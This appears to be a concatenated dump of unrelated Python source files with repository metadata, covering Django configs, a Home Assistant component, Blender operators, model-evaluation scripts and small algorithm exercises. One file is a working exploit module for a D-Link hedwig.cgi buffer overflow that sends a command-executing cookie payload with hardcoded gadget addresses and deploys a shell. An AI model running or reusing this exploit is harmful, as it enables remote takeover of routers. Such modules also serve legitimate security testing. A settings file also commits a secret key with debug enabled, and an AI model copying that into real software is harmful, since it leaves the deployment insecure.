| 2021-08-11T12:21:14
| 394,978,461
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 645
|
py
|
# -*- coding: utf-8 -*-
# Generated by Django 1.9.14.dev20170906233242 on 2020-03-12 21:45
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('app', '0083_auto_20200304_1321'),
]
operations = [
migrations.AddField(
model_name='plik',
name='kod_systemowy',
field=models.CharField(max_length=20, null=True),
),
migrations.AddField(
model_name='plik',
name='wersja_schemy',
field=models.CharField(max_length=5, null=True),
),
]
|
[
"wlodekf@softprodukt.com.pl"
] |
wlodekf@softprodukt.com.pl
|
d4e579745fae8a47e60cc476411f97325d51b3fc
|
9a9e47d9cf1f663de411218a533c10bbf288cc9d
|
/config/wsgi.py
|
bc1f238dd14822d7df2fe5c0fdcf05f70c23e3ec
|
[
"MIT"
] |
permissive
|
eyobofficial/Gebeya-Schedule-Bot
|
110f862a5e905c127e23ec0ad9bc9406f4180859
|
8c757fa8c26cf5dda6f917997c521d0f37b28aa9
|
refs/heads/development
| 2022-12-14T10:23:17.323365
| 2019-09-16T18:28:37
| 2019-09-16T18:28:37
| 204,556,349
| 3
| 2
|
MIT
| 2022-04-22T22:17:15
| 2019-08-26T20:31:16
|
Python
|
UTF-8
|
Python
| false
| false
| 442
|
py
|
"""
WSGI config for config project.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/2.0/howto/deployment/wsgi/
"""
import os
from decouple import config
from django.core.wsgi import get_wsgi_application
os.environ.setdefault(
"DJANGO_SETTINGS_MODULE",
config("DJANGO_SETTINGS_MODULE")
)
application = get_wsgi_application()
|
[
"eyobtariku@gmail.com"
] |
eyobtariku@gmail.com
|
fe67b587acb41838b627af66ca34a11ad458a34e
|
7aa4e4bfee6b0a265a4bcf1b7f81291f3299f43b
|
/Day17/quiz_brain.py
|
144287abfa11e8d10c95fbeb19d7332d51e1fc84
|
[] |
no_license
|
fazer1929/100DaysOfCode_Python
|
464b54e33fdda25f985a4a7fde327ceafc88fa93
|
313cd77ad7266b18fd2442548569cf96f330ce26
|
refs/heads/main
| 2023-05-05T01:59:48.936964
| 2021-05-30T14:34:57
| 2021-05-30T14:34:57
| 311,775,381
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 868
|
py
|
class QuizBrain:
def __init__(self,qlist):
self.question_list = qlist
self.question_number = 0
self.score = 0
def nextQuestion(self):
self.question_number += 1
question = self.question_list[self.question_number]
ans = input(f"Q.{self.question_number}: {question.text} (True/False)? : ")
self.checkAnswer(ans)
def stillHasQuestion(self):
return self.question_number < len(self.question_list)
def checkAnswer(self,ans):
if(ans.lower() == self.question_list[self.question_number].ans.lower()):
print("You Got It Right!")
self.score += 1
else:
print("You Got It Wrong!!!")
print(f"The Correct Answer Was {self.question_list[self.question_number].ans}")
print(f"Your Current Score is {self.score}/{self.question_number}")
|
[
"abhishekagrawal8888@gmail.com"
] |
abhishekagrawal8888@gmail.com
|
466bd43facef0ff807850dc4caf2a5d061758411
|
72af42076bac692f9a42e0a914913e031738cc55
|
/01, 특강_210705_0706/02, source/CookData(2021.01.15)/Code03-02.py
|
77bba4c75ad3200137cbc7e4f6f9c010afb45baa
|
[] |
no_license
|
goareum93/Algorithm
|
f0ab0ee7926f89802d851c2a80f98cba08116f6c
|
ec68f2526b1ea2904891b929a7bbc74139a6402e
|
refs/heads/master
| 2023-07-01T07:17:16.987779
| 2021-08-05T14:52:51
| 2021-08-05T14:52:51
| 376,908,264
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 536
|
py
|
katok = ["다현", "정연", "쯔위", "사나", "지효"]
def insert_data(position, friend) :
if position < 0 or position > len(katok) :
print("데이터를 삽입할 범위를 벗어났습니다.")
return
katok.append(None) # 빈칸 추가
kLen = len(katok) # 배열의 현재 크기
for i in range(kLen-1, position, -1) :
katok[i] = katok[i-1]
katok[i-1] = None
katok[position] = friend # 지정한 위치에 친구 추가
insert_data(2, '솔라')
print(katok)
insert_data(6, '문별')
print(katok)
|
[
"goareum7@gmail.com"
] |
goareum7@gmail.com
|
65f9cfdb3e2d22893d9a562025b9bd322fc2b5d5
|
ca8fe12def17494b4fd8a97664d7d9fcb1f9121f
|
/notifier.py
|
5541ce560a39a17898c3957aad22a6fb585f744f
|
[] |
no_license
|
pondelion/PassiveHealthMonitor
|
0d52c71bc8b8aa327680ef7585bd24a608bd4385
|
4072c4c161a0d4d1c7e86931edb70b4c076e96e4
|
refs/heads/main
| 2023-04-25T16:06:12.784931
| 2021-05-15T03:49:35
| 2021-05-15T03:49:35
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 514
|
py
|
from abc import ABCMeta, abstractmethod
from overrides import overrides
class Notifier(metaclass=ABCMeta):
@abstractmethod
def notify(
self,
monitoring_target: str,
notified_cpunt: int
) -> None:
raise NotImplementedError
class MockNotifier(Notifier):
@overrides
def notify(
self,
monitoring_target: str,
notified_cpunt: int
) -> None:
print(f'{monitoring_target} : {notified_cpunt}')
DefaultNotifier = MockNotifier
|
[
"programming.deve@gmail.com"
] |
programming.deve@gmail.com
|
f7721c25cf493ef1ded4213a2d67b41a3474dcfc
|
14b5679d88afa782dc5d6b35878ab043089a060a
|
/students/贾帅杰/home0529/hachina5.py
|
36d8ba5bc9fbfdee8285432c97c1d565fbda2281
|
[] |
no_license
|
mutiangua/EIS2020
|
c541ef32623f67f9277945cd39cff3c02f06e4dd
|
92aa2711b763a2c93be238825c445bf2db8da391
|
refs/heads/master
| 2022-11-18T05:21:47.567342
| 2020-07-11T10:11:21
| 2020-07-11T10:11:21
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,617
|
py
|
# 引入datetime库用于方便时间相关计算
from datetime import timedelta
import logging
import voluptuous as vol
# 引入HomeAssitant中定义的一些类与函数
# track_time_interval是监听时间变化事件的一个函数
from homeassistant.helpers.event import track_time_interval
import homeassistant.helpers.config_validation as cv
DOMAIN = "hachina5"
ENTITYID = DOMAIN + ".hello_world"
CONF_STEP = "step"
DEFAULT_STEP = 3
#f=open("C:\\Users\\23004\\AppData\\Roaming\\.homeassistant\\custom_components\\num.txt", "r")
# 定义时间间隔为3秒钟
TIME_BETWEEN_UPDATES = timedelta(seconds=1)
_LOGGER = logging.getLogger(__name__)
CONFIG_SCHEMA = vol.Schema(
{
DOMAIN: vol.Schema(
{
# 一个配置参数“step”,只能是正整数,缺省值为3
vol.Optional(CONF_STEP, default=DEFAULT_STEP): cv.positive_int,
}),
},
extra=vol.ALLOW_EXTRA)
def setup(hass, config):
"""配置文件加载后,setup被系统调用."""
conf = config[DOMAIN]
step = conf.get(CONF_STEP)
_LOGGER.info("Get the configuration %s=%d",
CONF_STEP, step)
attr = {"icon": "mdi:yin-yang",
"friendly_name": "Door",
"slogon": "积木构建智慧空间!",
"unit_of_measurement": ""}
# 构建类GrowingState
GrowingState(hass, step, attr)
return True
class GrowingState(object):
"""定义一个类,此类中存储了状态与属性值,并定时更新状态."""
def __init__(self, hass, step, attr):
"""GrwoingState类的初始化函数,参数为hass、step和attr."""
# 定义类中的一些数据
self._hass = hass
self._step = step
self._attr = attr
self._state = 0
# 在类初始化的时候,设置初始状态
self._hass.states.set(ENTITYID, self._state, attributes=self._attr)
# 每隔一段时间,更新一下实体的状态
track_time_interval(self._hass, self.update, TIME_BETWEEN_UPDATES)
def update(self, now):
f=open("C:\Apache24\htdocs\\index.html", "r")
data = f.read() # 读取文件
#datas=data[-4:]
"""在GrowingState类中定义函数update,更新状态."""
_LOGGER.info("GrowingState is "+data)
# 状态值每次增加step
self._state = self._state + self._step
# 设置新的状态值
self._hass.states.set(ENTITYID, data, attributes=self._attr)
|
[
"noreply@github.com"
] |
mutiangua.noreply@github.com
|
7023ccfa04ae9db5e41aa1991b5c1bdc4d513f2a
|
ca7aa979e7059467e158830b76673f5b77a0f5a3
|
/Python_codes/p02948/s243741324.py
|
2cffaa3be99d436febcc3c638d3fc41cc448b571
|
[] |
no_license
|
Aasthaengg/IBMdataset
|
7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901
|
f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8
|
refs/heads/main
| 2023-04-22T10:22:44.763102
| 2021-05-13T17:27:22
| 2021-05-13T17:27:22
| 367,112,348
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 491
|
py
|
from heapq import heappop,heappush,heapify
from collections import deque
N,M=map(int,input().split())
A,B,C = [0]*N,[0]*N,[0]*N
for i in range(N):
A[i],B[i] = map(int,input().split())
C[i]=[A[i],B[i]]
C.sort()
C=deque(C)
a=[]
heapify(a)
ans=0
for i in range(M,-1,-1):
while C:
if C[0][0]<=M-i:
heappush(a,(-1)*C[0][1])
C.popleft()
else:
break
if len(a)>0:
p = heappop(a)
ans += (-1)*p
print(ans)
|
[
"66529651+Aastha2104@users.noreply.github.com"
] |
66529651+Aastha2104@users.noreply.github.com
|
4749a3c0908091555e12a2d95d89a42aa01f83f6
|
b1571f4ee376d789b8094777fd81c4fb47a89cf1
|
/AtCoder/練習/Beginners Selection/ABC087B.py
|
23846c48ce3cc1eb755514d5511a6d7951002ae6
|
[] |
no_license
|
hiroyaonoe/Competitive-programming
|
e49e43f8853602ba73e658cab423bd91ebbe9286
|
2949e10eec3a38498bedb57ea41a2491916bab1c
|
refs/heads/master
| 2021-06-23T21:56:33.232931
| 2021-05-30T15:27:31
| 2021-05-30T15:27:31
| 225,863,783
| 2
| 0
| null | 2020-06-14T17:54:28
| 2019-12-04T12:37:24
|
Python
|
UTF-8
|
Python
| false
| false
| 595
|
py
|
a=int(input())
b=int(input())
c=int(input())
x=int(input())
cnt=0
for i in range(a+1):
for j in range(b+1):
for k in range(c+1):
if x == 500*i+100*j+50*k:cnt+=1
print(cnt)
'''
coinA=min(a,x//500)
coinB=min(b,(x-coinA*500)//100)
coinC=min(c,(x-coinB*100)//50)
cnt=0
changeB=coinB
changeC=coinC
if 500*coinA+100*coinB+50*coinC>=x:
while coinA>=0:
while 0<=changeB<=b:
if 0<=changeC<=c:
cnt+=1
changeB-=1
changeC+=2
changeB=coinB
changeC=coinC
coinA-=1
changeB+=5
print(cnt)
'''
|
[
"onoehiroya@gmail.com"
] |
onoehiroya@gmail.com
|
c23dd5e12ae719e7b4616d5f20ac6bbd59a2fadb
|
4073f351551c2f73c5659cb3038a68360cc5b369
|
/Lärobok/kap 6/kap. 6, sid. 76 - sätta ihop strängar.py
|
a6ec6841d16836e6f2de9f964e810fd69f375383
|
[
"MIT"
] |
permissive
|
Pharou/programmering1python
|
b9a5aca72354d3e7e91a5023a621d22a962ecd7c
|
9b689027db1f7fbf06925f3094fcb126880453e4
|
refs/heads/master
| 2022-11-28T06:33:17.295157
| 2020-07-25T11:02:07
| 2020-07-25T11:02:07
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 572
|
py
|
#!/usr/bin/python3.8
# Filnamn: kap. 6, sid. 76 - sätta ihop strängar.py
# Programmering 1 med Python - Lärobok
# Kapitel 6 - Mer om teckensträngar i Python
# Med plustecken kan du slå samman flera strängar till en enda.
# Det kallas även konkatenering av strängar
fn = 'Tage'
ln = 'Test'
name = fn + ln
print(name)
# Som du ser så skrivs inget mellanslag ut i den första print-satsen,
# det måste du manuellt lägga in själv
name = fn + ' ' + ln
print(name)
# Upprepning av strängar görs med multiplikationstecknet *
print(3 * 'Hola!')
print(15 * '-')
|
[
"niklas_engvall@hotmail.com"
] |
niklas_engvall@hotmail.com
|
91c53302d52e9d5a99a4e0d0b685179371931b6d
|
cc08f8eb47ef92839ba1cc0d04a7f6be6c06bd45
|
/Personal/Jaypur/Jaypur/settings.py
|
76bd9d7c357d60980068b2b15d2475f763bef64f
|
[] |
no_license
|
ProsenjitKumar/PycharmProjects
|
d90d0e7c2f4adc84e861c12a3fcb9174f15cde17
|
285692394581441ce7b706afa3b7af9e995f1c55
|
refs/heads/master
| 2022-12-13T01:09:55.408985
| 2019-05-08T02:21:47
| 2019-05-08T02:21:47
| 181,052,978
| 1
| 1
| null | 2022-12-08T02:31:17
| 2019-04-12T17:21:59
| null |
UTF-8
|
Python
| false
| false
| 3,158
|
py
|
"""
Django settings for Jaypur project.
Generated by 'django-admin startproject' using Django 2.1.3.
For more information on this file, see
https://docs.djangoproject.com/en/2.1/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.1/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.1/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = '_c4#s_+@o6kx5@ej$9+n-1)-_1+0rqscbzrd()25q=f@=e7m34'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'app.apps.AppConfig',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'Jaypur.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [os.path.join(BASE_DIR, 'templates')]
,
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'Jaypur.wsgi.application'
# Database
# https://docs.djangoproject.com/en/2.1/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Password validation
# https://docs.djangoproject.com/en/2.1/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/2.1/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.1/howto/static-files/
STATIC_URL = '/static/'
|
[
"prosenjitearnkuar@gmail.com"
] |
prosenjitearnkuar@gmail.com
|
2c5bad20f3963b0a05c987b18b93b70740c5217f
|
543e4a93fd94a1ebcadb7ba9bd8b1f3afd3a12b8
|
/maza/modules/exploits/routers/dlink/multi_hedwig_cgi_exec.py
|
cda6380b6efab9cd5609c5c1aeab67de8cb19247
|
[
"MIT"
] |
permissive
|
ArturSpirin/maza
|
e3127f07b90034f08ff294cc4afcad239bb6a6c3
|
56ae6325c08bcedd22c57b9fe11b58f1b38314ca
|
refs/heads/master
| 2020-04-10T16:24:47.245172
| 2018-12-11T07:13:15
| 2018-12-11T07:13:15
| 161,144,181
| 2
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,810
|
py
|
import struct
from maza.core.exploit import *
from maza.core.http.http_client import HTTPClient
class Exploit(HTTPClient):
__info__ = {
"name": "D-Link Hedwig CGI RCE",
"description": "Module exploits buffer overflow vulnerablity in D-Link Hedwig CGI component, "
"which leads to remote code execution.",
"authors": (
"Austin <github.com/realoriginal>", # routersploit module
),
"references": (
"http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10008",
"http://www.dlink.com/us/en/home-solutions/connect/routers/dir-645-wireless-n-home-router-1000",
"http://roberto.greyhats.it/advisories/20130801-dlink-dir645.txt",
"https://www.exploit-db.com/exploits/27283/",
),
"devices": (
"D-Link DIR-645 Ver. 1.03",
"D-Link DIR-300 Ver. 2.14",
"D-Link DIR-600",
),
}
target = OptIP("", "Target IPv4 or IPv6 address")
port = OptPort(80, "Target HTTP port")
def run(self):
if self.check():
print_success("Target is vulnerable")
shell(self, architecture="mipsle", method="echo", location="/tmp",
echo_options={"prefix": "\\\\x"}, exec_binary="chmod 777 {0} && {0} && rm {0}")
else:
print_error("Target is not vulnerable")
def execute(self, cmd):
cmd = cmd.encode("utf-8")
libcbase = 0x2aaf8000
system = 0x000531FF
calcsystem = 0x000158C8
callsystem = 0x000159CC
shellcode = utils.random_text(973).encode("utf-8")
shellcode += struct.pack("<I", libcbase + system)
shellcode += utils.random_text(16).encode("utf-8")
shellcode += struct.pack("<I", libcbase + callsystem)
shellcode += utils.random_text(12).encode("utf-8")
shellcode += struct.pack("<I", libcbase + calcsystem)
shellcode += utils.random_text(16).encode("utf-8")
shellcode += cmd
headers = {
"Content-Type": "application/x-www-form-urlencoded",
"Cookie": b"uid=" + shellcode + b";"
}
data = {
utils.random_text(7): utils.random_text(7)
}
response = self.http_request(
method="POST",
path="/hedwig.cgi",
headers=headers,
data=data,
)
if response is None:
return ""
return response.text[response.text.find("</hedwig>") + len("</hedwig>"):].strip()
@mute
def check(self):
fingerprint = utils.random_text(10)
cmd = "echo {}".format(fingerprint)
response = self.execute(cmd)
if fingerprint in response:
return True
return False
|
[
"a.spirin@hotmail.com"
] |
a.spirin@hotmail.com
|
b84dd9230ccb462252288d436554e4655ed6d463
|
58a82d4b72e8c83d8c93a3d3639aa65fbdc9fcbd
|
/BCPrompt/bc_operators.py
|
a9acc39d4ec5b58e487e2b05b20c2289164e5737
|
[] |
no_license
|
8Observer8/myblendercontrib
|
4de9b880da56a909b3da19c732e32557ab48400b
|
71aa26457c50622cf5646a7aa39fbe11491f3e7b
|
refs/heads/master
| 2021-01-15T15:33:13.133667
| 2015-10-14T15:38:48
| 2015-10-14T15:38:48
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 2,961
|
py
|
import bpy
from console_python import add_scrollback
from .bc_command_dispatch import (
in_scene_commands,
in_search_commands,
in_sverchok_commands,
in_core_dev_commands,
in_modeling_tools,
in_upgrade_commands,
in_bpm_commands,
in_fast_ops_commands)
history_append = bpy.ops.console.history_append
addon_enable = bpy.ops.wm.addon_enable
def print_most_useful():
content = '''\
for full verbose descriptor use -man
command | description
-----------+----------------
tt | tb | turntable / trackball nav.
cen | centers 3d cursor
cenv | centers 3d cursor, aligns views to it
cento | centers to selected
endswith! | copy current console line if ends with exclm.
x?bpy | search blender python for x
x?bs | search blenderscripting.blogspot for x
x?py | search python docs for x
x?se | search B3D StackExchange
x??se | regular StackExchange search
vtx, xl | enable or trigger tinyCAD vtx (will download)
ico | enables icon addon in texteditor panel (Dev)
123 | use 1 2 3 to select vert, edge, face
-img2p | enabled image to plane import addon
-or2s | origin to selected.
-dist | gives local distance between two selected verts
-gist -o x | uploads all open text views as x to anon gist.
-debug | dl + enable extended mesh index visualiser. it's awesome.
-----------+----------------------------------------------------------
-idxv | enable by shortcut name (user defined)
enable <named addon> | package name or folder name
v2rdim | sets render dimensions to current strip.
fc | fcurrent -> end.frame
'''
add_scrollback(content, 'OUTPUT')
class TextSyncOps(bpy.types.Operator):
bl_idname = "text.text_upsync"
bl_label = "Upsyncs Text from disk changes"
def execute(self, context):
text_block = context.edit_text
bpy.ops.text.resolve_conflict(resolution='RELOAD')
return{'FINISHED'}
class ConsoleDoAction(bpy.types.Operator):
bl_label = "ConsoleDoAction"
bl_idname = "console.do_action"
def execute(self, context):
m = bpy.context.space_data.history[-1].body
m = m.strip()
DONE = {'FINISHED'}
if any([
in_scene_commands(context, m),
in_search_commands(context, m),
in_sverchok_commands(context, m),
in_core_dev_commands(context, m),
in_modeling_tools(context, m),
in_upgrade_commands(context, m),
in_bpm_commands(context, m),
in_fast_ops_commands(context, m)
]):
return DONE
elif m == '-ls':
print_most_useful()
return DONE
elif m == 'cl':
bpy.ops.console.clear()
return DONE
return {'FINISHED'}
def register():
bpy.utils.register_module(__name__)
def unregister():
bpy.utils.unregister_module(__name__)
|
[
"Develop@Shaneware.Biz"
] |
Develop@Shaneware.Biz
|
5d6ded4faf7566b8fb858f56738f9b733236abda
|
a3776dfa7a4bfd76ff7cb63ddb3f6d70483b89d2
|
/python/Sort/BubbleSort.py
|
fe4c0e4f183df93e94e89a9a26fea609cdd7d9a2
|
[] |
no_license
|
x-jeff/Algorithm_Code
|
9e3038d9504391e2bd52ddde1230f69953339ab8
|
b0411bcc7a7ab674ceca73aeb1348d3241370817
|
refs/heads/master
| 2023-07-11T19:55:52.401814
| 2021-08-14T03:46:12
| 2021-08-14T03:46:12
| 293,771,649
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 321
|
py
|
def bubbleSort(arr):
for i in range(1, len(arr)):
for j in range(0, len(arr)-i):
if arr[j] > arr[j+1]:
arr[j], arr[j + 1] = arr[j + 1], arr[j]
return arr
if __name__ == '__main__':
testlist = [17, 23, 20, 14, 12, 25, 1, 20, 81, 14, 11, 12]
print(bubbleSort(testlist))
|
[
"jeff.xinsc@gmail.com"
] |
jeff.xinsc@gmail.com
|
ac126a334e5c16ab0f0e7c96bd9e37e9401d058a
|
d0081f81996635e913b1f267a4586eb0bfd3dcd5
|
/dataactcore/migrations/versions/001758a1ab82_remove_legal_entity_address_line3_from_.py
|
a17f33249deb510d2d5a9c4c694595932bedba00
|
[
"CC0-1.0"
] |
permissive
|
fedspendingtransparency/data-act-broker-backend
|
71c10a6c7c284c8fa6556ccc0efce798870b059b
|
b12c73976fd7eb5728eda90e56e053759c733c35
|
refs/heads/master
| 2023-09-01T07:41:35.449877
| 2023-08-29T20:14:45
| 2023-08-29T20:14:45
| 57,313,310
| 55
| 36
|
CC0-1.0
| 2023-09-13T16:40:58
| 2016-04-28T15:39:36
|
Python
|
UTF-8
|
Python
| false
| false
| 994
|
py
|
"""Remove legal_entity_address_line3 from DetachedAwardFinancialAssistance
Revision ID: 001758a1ab82
Revises: 60830f0881a5
Create Date: 2018-03-09 10:50:38.640532
"""
# revision identifiers, used by Alembic.
revision = '001758a1ab82'
down_revision = '60830f0881a5'
branch_labels = None
depends_on = None
from alembic import op
import sqlalchemy as sa
def upgrade(engine_name):
globals()["upgrade_%s" % engine_name]()
def downgrade(engine_name):
globals()["downgrade_%s" % engine_name]()
def upgrade_data_broker():
### commands auto generated by Alembic - please adjust! ###
op.drop_column('detached_award_financial_assistance', 'legal_entity_address_line3')
### end Alembic commands ###
def downgrade_data_broker():
### commands auto generated by Alembic - please adjust! ###
op.add_column('detached_award_financial_assistance', sa.Column('legal_entity_address_line3', sa.TEXT(), autoincrement=False, nullable=True))
### end Alembic commands ###
|
[
"Burdeyny_Alisa@bah.com"
] |
Burdeyny_Alisa@bah.com
|
367694bf22eedbb89985c70d2368890832e317f2
|
23d5370d1b4d889aba0c2bfccfe3fcc8bced7bf4
|
/examples/RLC_example/test/RLC_IO_I_eval_sim.py
|
7106cd0859cc1a4f13867be28def0f2e4708d138
|
[
"MIT"
] |
permissive
|
marcosfelt/sysid-neural-structures-fitting
|
0cd21b4197b52ffe5ef78ac4045a431e202fdb05
|
80eda427251e8cce1d2a565b5cbca533252315e4
|
refs/heads/master
| 2022-12-06T18:45:21.365282
| 2020-09-03T18:32:16
| 2020-09-03T18:32:16
| 292,630,318
| 0
| 0
|
MIT
| 2020-09-03T17:01:34
| 2020-09-03T17:01:33
| null |
UTF-8
|
Python
| false
| false
| 4,273
|
py
|
import pandas as pd
import numpy as np
import torch
import matplotlib.pyplot as plt
import os
import sys
sys.path.append(os.path.join("..", ".."))
from torchid.iofitter import NeuralIOSimulator
from torchid.iomodels import NeuralIOModel
from common import metrics
if __name__ == '__main__':
dataset_type = 'id'
#dataset_type = 'val'
#model_type = '32step_noise'
model_type = '64step_noise'
# model_type = '1step_nonoise'
# model_type = '1step_noise'
plot_input = False
COL_T = ['time']
COL_X = ['V_C', 'I_L']
COL_U = ['V_IN']
COL_Y = ['I_L']
dataset_filename = f"RLC_data_{dataset_type}.csv"
df_X = pd.read_csv(os.path.join("data", dataset_filename))
time_data = np.array(df_X[COL_T], dtype=np.float32)
# y = np.array(df_X[COL_Y], dtype=np.float32)
x = np.array(df_X[COL_X], dtype=np.float32)
u = np.array(df_X[COL_U], dtype=np.float32)
y_var_idx = 1 # 0: voltage 1: current
y = np.copy(x[:, [y_var_idx]])
N = np.shape(y)[0]
Ts = time_data[1] - time_data[0]
n_a = 2 # autoregressive coefficients for y
n_b = 2 # autoregressive coefficients for u
n_max = np.max((n_a, n_b)) # delay
std_noise_V = 1.0 * 10.0
std_noise_I = 1.0 * 1.0
std_noise = np.array([std_noise_V, std_noise_I])
x_noise = np.copy(x) + np.random.randn(*x.shape) * std_noise
x_noise = x_noise.astype(np.float32)
y_noise = x_noise[:, [y_var_idx]]
# Initialize optimization
io_model = NeuralIOModel(n_a=n_a, n_b=n_b, n_feat=64)
io_solution = NeuralIOSimulator(io_model)
model_filename = f"model_IO_I_{model_type}.pkl"
io_solution.io_model.load_state_dict(torch.load(os.path.join("models", model_filename)))
# In[Validate model]
t_val_start = 0
t_val_end = time_data[-1]
idx_val_start = int(t_val_start//Ts)#x.shape[0]
idx_val_end = int(t_val_end//Ts)#x.shape[0]
n_val = idx_val_end - idx_val_start
u_val = np.copy(u[idx_val_start:idx_val_end])
y_val = np.copy(y[idx_val_start:idx_val_end])
y_meas_val = np.copy(y_noise[idx_val_start:idx_val_end])
time_val = time_data[idx_val_start:idx_val_end]
y_seq = np.zeros(n_a, dtype=np.float32) #np.array(np.flip(y_val[0:n_a].ravel()))
u_seq = np.zeros(n_b, dtype=np.float32 ) #np.array(np.flip(u_val[0:n_b].ravel()))
# Neglect initial values
# y_val = y_val[n_max:, :]
# y_meas_val = y_meas_val[n_max:, :]
# u_val = u_val[n_max:, :]
# time_val = time_val[n_max:, :]
y_meas_val_torch = torch.tensor(y_meas_val)
with torch.no_grad():
y_seq_torch = torch.tensor(y_seq)
u_seq_torch = torch.tensor(u_seq)
u_torch = torch.tensor(u_val)
y_val_sim_torch = io_solution.f_sim(y_seq_torch, u_seq_torch, u_torch)
err_val = y_val_sim_torch - y_meas_val_torch
loss_val = torch.mean((err_val)**2)
if dataset_type == 'id':
t_plot_start = 0.2e-3
else:
t_plot_start = 1.0e-3
t_plot_end = t_plot_start + 0.3e-3
idx_plot_start = int(t_plot_start//Ts)#x.shape[0]
idx_plot_end = int(t_plot_end//Ts)#x.shape[0]
# In[Plot]
y_val_sim = np.array(y_val_sim_torch)
time_val_us = time_val *1e6
if plot_input:
fig, ax = plt.subplots(2,1, sharex=True)
else:
fig, ax = plt.subplots(1, 1, sharex=True)
ax = [ax]
ax[0].plot(time_val_us[idx_plot_start:idx_plot_end], y_val[idx_plot_start:idx_plot_end], 'k', label='True')
ax[0].plot(time_val_us[idx_plot_start:idx_plot_end], y_val_sim[idx_plot_start:idx_plot_end], 'r--', label='Model simulation')
ax[0].legend(loc='upper right')
ax[0].grid(True)
ax[0].set_xlabel("Time ($\mu$s)")
ax[0].set_ylabel("Capacitor voltage $v_C$ (V)")
ax[0].set_ylim([-20, 20])
if plot_input:
ax[1].plot(time_val_us[idx_plot_start:idx_plot_end], u_val[idx_plot_start:idx_plot_end], 'k', label='Input')
#ax[1].legend()
ax[1].grid(True)
ax[1].set_xlabel("Time ($\mu$s)")
ax[1].set_ylabel("Input voltage $v_{in}$ (V)")
fig_name = f"RLC_IO_{dataset_type}_{model_type}.pdf"
fig.savefig(os.path.join("fig", fig_name), bbox_inches='tight')
R_sq = metrics.r_square(y_val, y_val_sim)
print(f"R-squared metrics: {R_sq}")
|
[
"marco.forgione1986@gmail.com"
] |
marco.forgione1986@gmail.com
|
2ad5195cb2531f382db1acaca896c6c212992811
|
e63c1e59b2d1bfb5c03d7bf9178cf3b8302ce551
|
/uri/uri_python/ad_hoc/p1089.py
|
5016209f1dd88333f5f3c73bdab477d7dc2336d9
|
[] |
no_license
|
GabrielEstevam/icpc_contest_training
|
b8d97184ace8a0e13e1c0bf442baa36c853a6837
|
012796c2ceb901cf7aa25d44a93614696a7d9c58
|
refs/heads/master
| 2020-04-24T06:15:16.826669
| 2019-10-08T23:13:15
| 2019-10-08T23:13:15
| 171,758,893
| 5
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 366
|
py
|
N = int(input())
while N != 0:
entry = input().split(" ")
picos = 0
aux_a = int(entry[N-2])
aux_b = int(entry[N-1])
for i in range(N):
if (aux_b < aux_a and aux_b < int(entry[i])) or (aux_b > aux_a and aux_b > int(entry[i])):
picos += 1
aux_a = aux_b
aux_b = int(entry[i])
print(picos)
N = int(input())
|
[
"gabrielestevam@hotmail.com"
] |
gabrielestevam@hotmail.com
|
1df8e317fea69f008dc5d5e32315bd51aa0fb43c
|
5896da906bdcb1315881712a0baa52a706bbeb06
|
/cursoemvideo/Atividades/exercicios/ex106.py
|
3ebfa0d823d84edaa4ae159d58714aa44738c3d8
|
[] |
no_license
|
frederico-prog/python
|
313b4c11347fb33f67d73dee89f3106f483a2333
|
6c3d3757944fcbf569e1114838f236a9329358bd
|
refs/heads/master
| 2022-12-13T23:26:55.112797
| 2020-08-21T22:03:26
| 2020-08-21T22:03:26
